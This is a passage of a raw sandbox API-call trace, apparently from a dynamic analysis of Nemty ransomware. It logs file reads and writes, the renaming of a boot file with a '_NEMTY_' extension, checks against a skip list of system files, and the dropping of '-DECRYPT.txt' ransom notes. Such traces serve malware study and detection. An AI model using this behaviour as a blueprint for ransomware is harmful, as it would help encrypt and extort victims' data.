returned 0 [0044.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.468] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.481] CloseHandle (hObject=0xffffffff) returned 0 [0044.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0044.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.481] MoveFileW (lpExistingFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.481] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2090b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce2090b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce22f210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0044.481] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0044.481] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0044.482] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0044.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.483] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2090b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce2090b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce22f210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0044.483] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0044.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.483] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2=".") returned 1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="..") returned 1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="...") returned 1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="windows") returned -1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="$RECYCLE.BIN") returned 1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="rsa") returned -1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="NTDETECT.COM") returned -1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="ntldr") returned -1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="MSDOS.SYS") returned -1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="IO.SYS") returned -1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="boot.ini") returned 1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="boot.ini") returned 1 [0044.483] lstrcmpiW (lpString1="Fonts", lpString2="AUTOEXEC.BAT") returned 1 [0044.484] lstrcmpiW (lpString1="Fonts", lpString2="ntuser.dat") returned -1 [0044.484] lstrcmpiW (lpString1="Fonts", lpString2="desktop.ini") returned 1 [0044.484] lstrcmpiW (lpString1="Fonts", lpString2="CONFIG.SYS") returned 1 [0044.484] lstrcmpiW (lpString1="Fonts", lpString2="RECYCLER") returned -1 [0044.484] lstrcmpiW (lpString1="Fonts", lpString2="BOOTSECT.BAK") returned 1 [0044.484] lstrcmpiW (lpString1="Fonts", lpString2="bootmgr") returned 1 [0044.484] lstrcmpiW (lpString1="Fonts", lpString2="programdata") returned -1 [0044.484] lstrcmpiW (lpString1="Fonts", lpString2="appdata") returned 1 [0044.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Fonts", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Fonts", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fonts", lpUsedDefaultChar=0x0) returned 5 [0044.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Fonts", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Fonts", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fonts", lpUsedDefaultChar=0x0) returned 5 [0044.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.484] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\fonts\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.487] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.487] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0044.488] CloseHandle (hObject=0x3c0) returned 1 [0044.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.488] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\fonts\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.489] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.489] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0044.490] CloseHandle (hObject=0x3c0) returned 1 [0044.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0044.490] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce35fd10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce35fd10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0044.490] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0044.490] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | 